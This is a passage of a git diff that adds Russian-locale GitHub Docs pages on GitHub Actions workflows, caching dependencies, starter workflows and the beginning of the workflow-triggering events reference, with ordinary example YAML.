000000000000..dd1f91943e31 --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/about-workflows.md @@ -0,0 +1,205 @@ +--- +title: About workflows +shortTitle: About workflows +intro: 'Get a high-level overview of {% data variables.product.prodname_actions %} workflows, including triggers, syntax, and advanced features.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +redirect_from: + - /actions/learn-github-actions/managing-complex-workflows + - /actions/using-workflows/advanced-workflow-features +topics: + - Workflows +miniTocMaxHeadingLevel: 3 +--- + +## About workflows + +{% data reusables.actions.about-workflows-long %} + +## Workflow basics + +A workflow must contain the following basic components: + +1. One or more _events_ that will trigger the workflow. +1. One or more _jobs_, each of which will execute on a _runner_ machine and run a series of one or more _steps_. +1. Each step can either run a script that you define or run an action, which is a reusable extension that can simplify your workflow. + +For more information on these basic components, see "[Understanding GitHub Actions](/actions/learn-github-actions/understanding-github-actions#the-components-of-github-actions)." + +![Workflow overview](/assets/images/help/images/overview-actions-simple.png) + +## Triggering a workflow + +{% data reusables.actions.about-triggers %} + +For more information, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow)", and for a full list of events, see "[Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows)." + +## Workflow syntax + +Workflow are defined using YAML. For the full reference of the YAML syntax for authoring workflows, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#about-yaml-syntax-for-workflows)." + + +{% data reusables.actions.workflow-basic-example-and-explanation %} + +For more on managing workflow runs, such as re-running, cancelling, or deleting a workflow run, see "[Managing workflow runs](/actions/managing-workflow-runs)." + +## Using starter workflows + +{% data reusables.actions.workflow-template-overview %} + +For more information on using and creating starter workflows, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows)" and "[Creating starter workflows for your organization](/actions/using-workflows/creating-starter-workflows-for-your-organization)." + +## Advanced workflow features + +This section briefly describes some of the advanced features of {% data variables.product.prodname_actions %} that help you create more complex workflows. + +### Storing secrets + +If your workflows use sensitive data, such as passwords or certificates, you can save these in {% data variables.product.prodname_dotcom %} as _secrets_ and then use them in your workflows as environment variables. This means that you will be able to create and share workflows without having to embed sensitive values directly in the workflow's YAML source. + +This example job demonstrates how to reference an existing secret as an environment variable, and send it as a parameter to an example command. + +{% raw %} +```yaml +jobs: + example-job: + runs-on: ubuntu-latest + steps: + - name: Retrieve secret + env: + super_secret: ${{ secrets.SUPERSECRET }} + run: | + example-command "$super_secret" +``` +{% endraw %} + +For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +### Creating dependent jobs + +By default, the jobs in your workflow all run in parallel at the same time. If you have a job that must only run after another job has completed, you can use the `needs` keyword to create this dependency. If one of the jobs fails, all dependent jobs are skipped; however, if you need the jobs to continue, you can define this using the `if` conditional statement. + +In this example, the `setup`, `build`, and `test` jobs run in series, with `build` and `test` being dependent on the successful completion of the job that precedes them: + +```yaml +jobs: + setup: + runs-on: ubuntu-latest + steps: + - run: ./setup_server.sh + build: + needs: setup + runs-on: ubuntu-latest + steps: + - run: ./build_server.sh + test: + needs: build + runs-on: ubuntu-latest + steps: + - run: ./test_server.sh +``` + +For more information, see "[Defining prerequisite jobs](/actions/using-jobs/using-jobs-in-a-workflow#defining-prerequisite-jobs)." + +### Using a matrix + +{% data reusables.actions.jobs.about-matrix-strategy %} The matrix is created using the `strategy` keyword, which receives the build options as an array. For example, this matrix will run the job multiple times, using different versions of Node.js: + +```yaml +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + node: [12, 14, 16] + steps: + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.node }}{% endraw %} +``` + +For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." + +{% ifversion actions-caching %} +### Caching dependencies + +If your jobs regularly reuse dependencies, you can consider caching these files to help improve performance. Once the cache is created, it is available to all workflows in the same repository. + +This example demonstrates how to cache the ` ~/.npm` directory: + +```yaml +jobs: + example-job: + steps: + - name: Cache node modules + uses: {% data reusables.actions.action-cache %} + env: + cache-name: cache-node-modules + with: + path: ~/.npm + key: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}{% endraw %} + restore-keys: | + {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %} +``` + +For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)." +{% endif %} + +### Using databases and service containers + +If your job requires a database or cache service, you can use the [`services`](/actions/using-jobs/running-jobs-in-a-container) keyword to create an ephemeral container to host the service; the resulting container is then available to all steps in that job and is removed when the job has completed. This example demonstrates how a job can use `services` to create a `postgres` container, and then use `node` to connect to the service. + +```yaml +jobs: + container-job: + runs-on: ubuntu-latest + container: node:10.18-jessie + services: + postgres: + image: postgres + steps: + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + - name: Install dependencies + run: npm ci + - name: Connect to PostgreSQL + run: node client.js + env: + POSTGRES_HOST: postgres + POSTGRES_PORT: 5432 +``` + +For more information, see "[Using containerized services](/actions/using-containerized-services)." + +### Using labels to route workflows + +If you want to be sure that a particular type of runner will process your job, you can use labels to control where jobs are executed. You can assign labels to a self-hosted runner in addition to their default label of `self-hosted`. Then, you can refer to these labels in your YAML workflow, ensuring that the job is routed in a predictable way.{% ifversion not ghae %} {% data variables.product.prodname_dotcom %}-hosted runners have predefined labels assigned.{% endif %} + +This example shows how a workflow can use labels to specify the required runner: + +```yaml +jobs: + example-job: + runs-on: [self-hosted, linux, x64, gpu] +``` + +A workflow will only run on a runner that has all the labels in the `runs-on` array. The job will preferentially go to an idle self-hosted runner with the specified labels. {% ifversion fpt or ghec %}If none are available and a {% data variables.product.prodname_dotcom %}-hosted runner with the specified labels exists, the job will go to a {% data variables.product.prodname_dotcom %}-hosted runner.{% endif %} + +To learn more about self-hosted runner labels, see "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)." + +{% ifversion fpt or ghec %} +To learn more about {% data variables.product.prodname_dotcom %}-hosted runner labels, see "[Supported runners and hardware resources](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources)." +{% endif %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +### Reusing workflows +{% data reusables.actions.reusable-workflows %} +{% endif %} + +### Using environments + +You can configure environments with protection rules and secrets to control the execution of jobs in a workflow. Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." diff --git a/translations/ru-RU/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md b/translations/ru-RU/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md new file mode 100644 index 000000000000..c70b629605c0 --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md @@ -0,0 +1,315 @@ +--- +title: Кэширование зависимостей для ускорения рабочих процессов +shortTitle: Cache dependencies +intro: 'Чтобы повысить скорость и эффективность рабочих процессов, можно создавать и использовать кэши для зависимостей и других часто используемых файлов.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows + - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows + - /actions/configuring-and-managing-workflows/caching-dependencies-to-speed-up-workflows + - /actions/guides/caching-dependencies-to-speed-up-workflows + - /actions/advanced-guides/caching-dependencies-to-speed-up-workflows +versions: + feature: actions-caching +type: tutorial +topics: + - Workflows +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 380fe568e950a4dc388e8f811ecebd12f242c5df +ms.sourcegitcommit: 34d500fe45b362043b4b4685d6705a7bfb484d11 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: '148164383' +--- +## Сведения о кэшировании зависимостей рабочего процесса + +Рабочий процесс часто повторно использует одни и те же выходные данные или скачанные зависимости из одного запуска в другом. Например, средства управления пакетами и зависимостями, такие как Maven, Gradle, npm и Yarn, хранят локальный кэш скачанных зависимостей. + +{% ifversion fpt or ghec %} Задания в средствах выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %}, запускаются в чистом образе средства выполнения тестов и каждый раз должны загружать зависимости, что приводит к увеличению использования сети, времени выполнения и затрат. {% endif %}Чтобы ускорить повторное создание этих файлов, как и зависимостей, {% data variables.product.prodname_dotcom %} может кэшировать файлы, которые часто используются в рабочих процессах. + +Чтобы кэшировать зависимости для задания, необходимо выполнить [действие `cache`](https://github.com/actions/cache) в {% data variables.product.prodname_dotcom %}. Это действие создает и восстанавливает кэш, определенный уникальным ключом. Кроме того, при кэшировании диспетчеров пакетов, перечисленных ниже, использование соответствующих действий setup-* требует минимальной конфигурации; после его выполнения будут созданы и восстановлены кэши зависимостей. + +| Диспетчеры пакетов | Действие setup-* для кэширования | +|---|---| +| npm, Yarn, pnpm | [setup-node](https://github.com/actions/setup-node#caching-global-packages-data) | +| pip, pipenv, Poetry | [setup-python](https://github.com/actions/setup-python#caching-packages-dependencies) | +| Gradle, Maven | [setup-java](https://github.com/actions/setup-java#caching-packages-dependencies) | +| RubyGems | [setup-ruby](https://github.com/ruby/setup-ruby#caching-bundle-install-automatically) | +| Go `go.sum` | [setup-go](https://github.com/actions/setup-go#caching-dependency-files-and-build-outputs) | + +{% warning %} + +**Предупреждение**. {% ifversion fpt or ghec %}При использовании кэширования с {% data variables.product.prodname_actions %} учитывайте следующее: + +* {% endif %}В кэше не рекомендуется хранить конфиденциальную информацию. Например, конфиденциальная информация может включать маркеры доступа или учетные данные для входа, хранящиеся в файле в пути к кэшу. Кроме того, программы интерфейса командной строки (CLI), такие как `docker login`, могут сохранять учетные данные для доступа в файле конфигурации. Любой пользователь с доступом на чтение может создать в репозитории запрос на вытягивание и получить доступ к содержимому кэша. Вилки репозитория также могут создавать запросы на вытягивание в базовой ветви и получить доступ к кэшу в базовой ветви. +{%- ifversion fpt or ghec %} +* При использовании локальных средств выполнения тестов кэши из рабочих процессов хранятся в облачном хранилище, принадлежащем {% data variables.product.company_short %}. Решение для принадлежащего клиенту хранилища доступно только с {% data variables.product.prodname_ghe_server %}. +{%- endif %} + +{% endwarning %} + +{% data reusables.actions.comparing-artifacts-caching %} + +Дополнительные сведения об артефактах выполнения рабочего процесса см. в статье [Сохранение данных рабочего процесса с помощью артефактов](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +## Ограничения доступа к кэшу + +Ограничения доступа обеспечивают изоляцию кэша и защиту путем создания логической границы между разными ветвями и тегами. Запуски рабочих процессов могут восстанавливать кэши, созданные либо в текущей ветви, либо в ветви по умолчанию (обычно `main`). Если выполнение рабочего процесса запускается для запроса на вытягивание, он также может восстановить кэши, созданные в базовой ветви, включая базовые ветви разветвленных репозиториев. Например, если ветвь `feature-b` имеется базовая ветвь `feature-a`, запуск рабочего процесса, активировавшийся в запросе на вытягивание, будет иметь доступ к кэшам, созданным в ветви по умолчанию `main` , в базовой `feature-a` и текущей `feature-b` ветви. + +Запуски рабочих процессов не могут восстанавливать кэши, созданные для дочерних или одноуровневых ветвей. Например, кэш, созданный для дочерней `feature-b` ветви, не будет доступен для запуска рабочего процесса, активированного в родительской `main` ветви. Аналогичным образом кэш, созданный для ветви с базой `main` , не будет доступен для ее одноуровневой `feature-c` ветви с базовой `main`.`feature-a` Запуски рабочих процессов также не могут восстановить кэши, созданные для разных имен тегов. Например, кэш, созданный для тега `release-a` с базой `main` , не будет доступен для запуска рабочего процесса, активированного для тега `release-b` с базовым `main`значением . + +При создании кэша с помощью запуска рабочего процесса, активированного в запросе на вытягивание, создается кэш для ссылки на слияние (`refs/pull/.../merge`). Из-за этого кэш будет иметь ограниченную область и может быть восстановлен только при повторном выполнении запроса на вытягивание. Она не может быть восстановлена базовой ветвью или другими запросами на вытягивание, предназначенными для этой базовой ветви. + +Несколько запусков рабочих процессов в репозитории могут совместно использовать кэши. Кэш, созданный для ветви в выполнении рабочего процесса, можно получить и восстановить из другого запуска рабочего процесса для того же репозитория и ветви. + +## Использование действия `cache` + +[Действие `cache`](https://github.com/actions/cache) попытается восстановить кэш на основе предоставленного вами `key`. Когда действие находит _кэш, точно_ соответствующий ключу, действие восстанавливает кэшированные файлы в настроенный `path` . +При необходимости можно указать список для `restore-keys` использования в случае, если `key` не соответствует существующему кэшу. Список `restore-keys` полезен при восстановлении кэша из другой ветви, так как `restore-keys` может _частично_ соответствовать ключам кэша. Дополнительные сведения о сопоставлении `restore-keys` см. в разделе [Сопоставление ключа кэша](#matching-a-cache-key). + +Если имеется точное соответствие указанному `key`объекту , это считается попаданием в кэш. Если ни одного кэша точно не соответствует указанному `key`, это считается промахом кэша. При промахе кэша действие автоматически создает новый кэш, если задание завершается успешно. В новом кэше будет использоваться предоставленный вами `key`, а также будут содержаться файлы, указанные в `path`. Дополнительные сведения о том, как это обрабатывается, см. в разделе [Кэш попаданий и промахов](#cache-hits-and-misses). + +Невозможно изменить содержимое существующего кэша. Вместо этого можно создать новый кэш с новым ключом. + + +### Входные параметры для действия `cache` + +- `key`. **Требуется** Ключ, созданный при сохранении кэша, и ключ, используемый для поиска кэша. Это может быть любое сочетание переменных, значений контекста, статических строк и функций. Ключи имеют максимальную длину в 512 символов, а использование ключей большей длины приведет к сбою действия. +- `path`. **Требуется (требуются)** Путь (пути) в средстве выполнения тестов для кэширования или восстановления. + - Вы можете указать один путь или добавить несколько путей в отдельных строках. Пример: + + ``` + - name: Cache Gradle packages + uses: {% data reusables.actions.action-cache %} + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + ``` + - Вы можете указать либо каталоги, либо отдельные файлы. Также поддерживаются стандартные маски. + - Можно указать абсолютные пути или пути относительно каталога рабочей области. +- `restore-keys`. **Необязательно** Строка, содержащая альтернативные ключи восстановления, где каждый ключ восстановления, находится в новой строке. Если для `key` не происходит попадание в кэше, эти ключи восстановления используются последовательно в указанном порядке для поиска и восстановления кэша. Пример. + + {% raw %} + ```yaml + restore-keys: | + npm-feature-${{ hashFiles('package-lock.json') }} + npm-feature- + npm- + ``` + {% endraw %} + +### Входные параметры для действия `cache` + +- `cache-hit`. Логическое значение, указывающее, что для ключа найдено точное совпадение. + +### Попадания и промахи кэша +Если `key` точно соответствует существующему кэшу, это называется _попаданием в кэш_, и действие восстанавливает кэшированные файлы в `path` каталог. + +При отсутствии соответствия `key` существующему кэшу происходит _промах кэша_, и если задание успешно завершено, автоматически создается новый кэш. + +При промахе кэша действие также выполняет поиск указанных `restore-keys` для любых совпадений: + +1. При указании `restore-keys` действие `cache` последовательно ищет все кэши, соответствующие списку `restore-keys`. + - При точном совпадении действие восстанавливает файлы в кэше в каталог `path`. + - Если точных совпадений нет, действие ищет частичные совпадения ключей восстановления. Когда действие находит частичное совпадение, в каталог `path` восстанавливается самый последний кэш. +1. Действие `cache` завершается, и выполняется следующий шаг задания. +1. Если задание завершено успешно, действие автоматически создает новый кэш с содержимым каталога `path`. + +Более подробное описание процесса сопоставления кэша см. в статье [Сопоставление ключа кэша](#matching-a-cache-key). + +### Пример использования действия `cache` + +В этом примере создается новый кэш при изменении пакетов в файле `package-lock.json` или при изменении операционной системы средства выполнения тестов. Ключ кэша использует контексты и выражения для создания ключа, который включает операционную систему средства выполнения тестов и хэш SHA-256 файла `package-lock.json`. + +```yaml{:copy} +name: Caching with npm +on: push +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Cache node modules + id: cache-npm + uses: {% data reusables.actions.action-cache %} + env: + cache-name: cache-node-modules + with: + # npm cache files are stored in `~/.npm` on Linux/macOS + path: ~/.npm + key: {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}{% endraw %} + restore-keys: | + {% raw %}${{ runner.os }}-build-${{ env.cache-name }}-{% endraw %} + {% raw %}${{ runner.os }}-build-{% endraw %} + {% raw %}${{ runner.os }}-{% endraw %} + + - if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %} + name: List the state of node modules + continue-on-error: true + run: npm list + + - name: Install dependencies + run: npm install + + - name: Build + run: npm build + + - name: Test + run: npm test +``` + +### Использование контекстов для создания ключей кэша + +Ключ кэша может включать любой из контекстов, функций, литералов и операторов, поддерживаемых {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделах [Контексты](/actions/learn-github-actions/contexts) и [Выражения](/actions/learn-github-actions/expressions). + +Использование выражений для создания `key` позволяет автоматически создавать новый кэш при изменении зависимостей. + +Например, можно создать `key` с помощью выражения, которое вычисляет хэш файла npm `package-lock.json`. Таким образом, при изменении зависимостей, составляющих изменение файла `package-lock.json`, изменяется ключ кэша и автоматически создается новый кэш. + +{% raw %} +```yaml +npm-${{ hashFiles('package-lock.json') }} +``` +{% endraw %} + +{% data variables.product.prodname_dotcom %} вычисляет выражение `hash "package-lock.json"` для получения окончательного `key`. + +```yaml +npm-d5ea0750 +``` + +### Использование выходных данных действия `cache` + +Выходные данные действия `cache` можно использовать для выполнения действий в зависимости от того, произошло ли попадание в кэш или произошел промах. В случае нахождения точного совпадения для кэша для указанного `key` для выходных данных `cache-hit` задается значение `true`. + +В приведенном выше примере рабочего процесса есть шаг, в котором перечисляется состояние модулей Node в случае сбоя кэша: + +```yaml +- if: {% raw %}${{ steps.cache-npm.outputs.cache-hit != 'true' }}{% endraw %} + name: List the state of node modules + continue-on-error: true + run: npm list +``` + +## Сопоставление ключа кэша + +Действие `cache` сначала ищет попадания `key` в кэш и _версию_ кэша в ветви, содержащей выполнение рабочего процесса. Если нажатие отсутствует, выполняется поиск `restore-keys` и _версия_. Если в текущей ветви по-прежнему нет совпадений, `cache` действие повторяет те же действия, что и в ветви по умолчанию. Обратите внимание, что ограничения области применяются во время поиска. Дополнительные сведения см. в разделе [Ограничения доступа к кэшу](#restrictions-for-accessing-a-cache). + +Версия кэша — это способ пометить кэш метаданными `path` и средством сжатия, используемым при создании кэша. Это гарантирует уникальное соответствие выполняемого рабочего процесса кэшу, который он может фактически распаковыть и использовать. Дополнительные сведения см. в разделе [Версия кэша](https://github.com/actions/cache#cache-version) в документации по кэшу действий. + +`restore-keys` позволяет указать список альтернативных ключей восстановления, используемых в случае промаха кэша в `key`. Можно создать несколько ключей восстановления, упорядоченных от наиболее определенных до наименее определенных. Действие `cache` выполняет поиск `restore-keys` в последовательном порядке. Если ключ не совпадает напрямую, действие выполняет поиск ключей с префиксом ключа восстановления. При наличии нескольких частичных совпадений для ключа восстановления действие возвращает последний созданный кэш. + +### Пример использования нескольких ключей восстановления + +{% raw %} +```yaml +restore-keys: | + npm-feature-${{ hashFiles('package-lock.json') }} + npm-feature- + npm- +``` +{% endraw %} + +Средство выполнения тестов вычисляет выражения, которые разрешаются в следующие `restore-keys`: + +{% raw %} +```yaml +restore-keys: | + npm-feature-d5ea0750 + npm-feature- + npm- +``` +{% endraw %} + +Ключ восстановления `npm-feature-` соответствует любому ключу, который начинается со строки `npm-feature-`. Например, оба ключа `npm-feature-fd3052de` и `npm-feature-a9b253ff` совпадают с ключом восстановления. Будет использоваться кэш с последней датой создания. Ключи в этом примере выполняются в следующем порядке: + +1. **`npm-feature-d5ea0750`** соответствует определенному хэшу. +1. **`npm-feature-`** соответствует ключам кэша с префиксом `npm-feature-`. +1. **`npm-`** соответствует любым ключам с префиксом `npm-`. + +#### Пример приоритета поиска + +```yaml +key: + npm-feature-d5ea0750 +restore-keys: | + npm-feature- + npm- +``` + +Например, если запрос на вытягивание содержит ветвь `feature` и нацелен на ветвь по умолчанию (`main`), действие выполняет поиск `key` и `restore-keys` в следующем порядке: + +1. Ключ `npm-feature-d5ea0750` в ветви `feature` +1. Ключ `npm-feature-` в ветви `feature` +1. Ключ `npm-` в ветви `feature` +1. Ключ `npm-feature-d5ea0750` в ветви `main` +1. Ключ `npm-feature-` в ветви `main` +1. Ключ `npm-` в ветви `main` + +## Ограничения использования и политика вытеснения + +{% data variables.product.prodname_dotcom %} удалит все записи кэша, к которым не удалось получить доступ в течение 7 дней. Количество кэшей, которые можно хранить, не ограничено, но общий размер всех кэшей в репозитории ограничен{% ifversion actions-cache-policy-apis %}. По умолчанию ограничение составляет 10 ГБ на репозиторий, но оно может отличаться в зависимости от политик, заданных владельцами предприятия или администраторами репозитория.{% else %} до 10 ГБ.{% endif %} + +{% data reusables.actions.cache-eviction-process %} {% ifversion actions-cache-ui %} Процесс вытеснения кэша может привести к обмотке кэша, при котором кэши создаются и удаляются с высокой частотой. Чтобы уменьшить это, можно просмотреть кэши для репозитория и выполнить корректирующие действия, такие как удаление кэширования из определенных рабочих процессов. Дополнительные сведения см. в разделе [Управление кэшами](#managing-caches). {% endif %} {% ifversion actions-cache-admin-ui %} Вы также можете увеличить предельный размер кэша для репозитория. Дополнительные сведения см. в разделе [Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository). + +{% elsif actions-cache-policy-apis %} + +Сведения об изменении политик для ограничения размера кэша репозитория см. в разделах [Применение политик для {% data variables.product.prodname_actions %} в организации](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-cache-storage-in-your-enterprise) и [Управление параметрами {% data variables.product.prodname_actions %} для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-cache-storage-for-a-repository). + +{% endif %} + +{% ifversion actions-cache-management %} + +## Управление кэшами + +{% ifversion actions-cache-ui %} + +Для управления кэшами, созданными на основе рабочих процессов, можно: + +- Просмотр списка всех записей кэша для репозитория. +- Отфильтруйте и сортируйте список кэшей, используя определенные метаданные, такие как размер кэша, время создания или время последнего обращения. +- Удаление записей кэша из репозитория. +- Мониторинг совокупного использования кэша для репозиториев и организаций. + +Существует несколько способов управления кэшами для репозиториев. + +- Использование веб-интерфейса {% data variables.product.prodname_dotcom %}, как показано ниже. +- Использование REST API. Дополнительные сведения см. в документации по REST API [{% data variables.product.prodname_actions %}](/rest/actions/cache). +- Установка расширения {% data variables.product.prodname_cli %} для управления кэшами из командной строки. Дополнительные сведения см. в разделе расширение [gh-actions-cache](https://github.com/actions/gh-actions-cache) . + +{% else %} + +Для управления кэшами можно использовать REST API {% data variables.product.product_name %}. {% ifversion actions-cache-list-delete-apis %} API можно использовать для перечисления и удаления записей кэша, а также просмотра использования кэша. {% elsif actions-cache-management %}В настоящее время вы можете использовать API для просмотра использования кэша, в будущих обновлениях ожидаются дополнительные функциональные возможности. {% endif %} Дополнительные сведения см. в документации к REST API по [кэшу {% data variables.product.prodname_actions %}](/rest/actions/cache). + +Также можно установить расширение {% data variables.product.prodname_cli %} для управления кэшем из командной строки. Дополнительные сведения о расширении см. в [документации по расширению](https://github.com/actions/gh-actions-cache#readme). Дополнительные сведения о расширениях {% data variables.product.prodname_cli %} см. в статье "[Использование расширений GitHub CLI](/github-cli/github-cli/using-github-cli-extensions)". + +{% endif %} + +{% ifversion actions-cache-ui %} + +### Просмотр записей кэша + +Веб-интерфейс можно использовать для просмотра списка записей кэша для репозитория. В списке кэша можно увидеть, сколько дискового пространства использует каждый кэш, когда кэш был создан и когда кэш использовался в последний раз. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.actions-cache-list %} +1. Просмотрите список записей кэша для репозитория. + + * Чтобы найти записи кэша, используемые для определенной ветви, щелкните раскрывающееся меню **Ветвь** и выберите ветвь. В списке кэша будут отображаться все кэши, используемые для выбранной ветви. + * Для поиска записей кэша с определенным ключом кэша используйте синтаксис `key: key-name` в поле **Фильтр кэшей** . В списке кэша будут отображаться кэши из всех ветвей, где использовался ключ. + + ![Снимок экрана: список записей кэша](/assets/images/help/repository/actions-cache-entry-list.png) + +### Удаление записей кэша + +Пользователи с `write` доступом к репозиторию могут использовать веб-интерфейс {% data variables.product.prodname_dotcom %} для удаления записей кэша. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.actions-cache-list %} +1. Справа от записи кэша, которую вы хотите удалить, щелкните {% octicon "trash" aria-label="The trash icon" %}. + + ![Снимок экрана: список записей кэша](/assets/images/help/repository/actions-cache-delete.png) + +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md b/translations/ru-RU/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md new file mode 100644 index 000000000000..ad1fc32d990b --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md @@ -0,0 +1,102 @@ +--- +title: Creating starter workflows for your organization +shortTitle: Create starter workflows +intro: Learn how you can create starter workflows to help people in your team add new workflows more easily. +redirect_from: + - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization + - /actions/learn-github-actions/creating-workflow-templates + - /actions/learn-github-actions/creating-starter-workflows-for-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Workflows + - CI +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Overview + +{% data reusables.actions.workflow-organization-templates %} + +{% data reusables.actions.starter-workflow-categories %} + +## Creating a starter workflow + +Starter workflows can be created by users with write access to the organization's `.github` repository. These can then be used by organization members who have permission to create workflows. + +{% ifversion fpt %} +Starter workflows created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use starter workflows to create workflows in private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization). +{% endif %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +{% note %} + +**Note:** To avoid duplication among starter workflows you can call reusable workflows from within a workflow. This can help make your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + +{% endnote %} +{% endif %} + +This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow. + +1. If it doesn't already exist, create a new public repository named `.github` in your organization. +2. Create a directory named `workflow-templates`. +3. Create your new workflow file inside the `workflow-templates` directory. + + If you need to refer to a repository's default branch, you can use the `$default-branch` placeholder. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch. + + For example, this file named `octo-organization-ci.yml` demonstrates a basic workflow. + + ```yaml + name: Octo Organization CI + + on: + push: + branches: [ $default-branch ] + pull_request: + branches: [ $default-branch ] + + jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Run a one-line script + run: echo Hello from Octo Organization + ``` +4. Create a metadata file inside the `workflow-templates` directory. The metadata file must have the same name as the workflow file, but instead of the `.yml` extension, it must be appended with `.properties.json`. For example, this file named `octo-organization-ci.properties.json` contains the metadata for a workflow file named `octo-organization-ci.yml`: + ```yaml + { + "name": "Octo Organization Workflow", + "description": "Octo Organization CI starter workflow.", + "iconName": "example-icon", + "categories": [ + "Go" + ], + "filePatterns": [ + "package.json$", + "^Dockerfile", + ".*\\.md$" + ] + } + ``` + * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows. + * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows. + * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`. + * `categories` - **Optional.** Defines the language category of the workflow. When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. For information on the available language categories, see https://github.com/github/linguist/blob/master/lib/linguist/languages.yml. + * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression. + +To add another starter workflow, add your files to the same `workflow-templates` directory. For example: + +![Workflow files](/assets/images/help/images/workflow-template-files.png) + +## Next steps + +To continue learning about {% data variables.product.prodname_actions %}, see "[Using starter workflows](/actions/using-workflows/using-starter-workflows)." diff --git a/translations/ru-RU/content/actions/using-workflows/events-that-trigger-workflows.md b/translations/ru-RU/content/actions/using-workflows/events-that-trigger-workflows.md new file mode 100644 index 000000000000..fa4f441d0475 --- /dev/null +++ b/translations/ru-RU/content/actions/using-workflows/events-that-trigger-workflows.md @@ -0,0 +1,1520 @@ +--- +title: Events that trigger workflows +intro: 'You can configure your workflows to run when specific activity on {% data variables.product.product_name %} happens, at a scheduled time, or when an event outside of {% data variables.product.product_name %} occurs.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/events-that-trigger-workflows + - /github/automating-your-workflow-with-github-actions/events-that-trigger-workflows + - /actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows + - /actions/reference/events-that-trigger-workflows + - /actions/learn-github-actions/events-that-trigger-workflows +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Events that trigger workflows +--- + +## About events that trigger workflows + +Workflow triggers are events that cause a workflow to run. For more information about how to use workflow triggers, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow)." + +## Available events + +Some events have multiple activity types. For these events, you can specify which activity types will trigger a workflow run. For more information about what each activity type means, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." Note that not all webhook events trigger workflows. + +{% ifversion fpt or ghec or ghes > 3.3 or ghae %} +### `branch_protection_rule` + +| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| --------------------- | 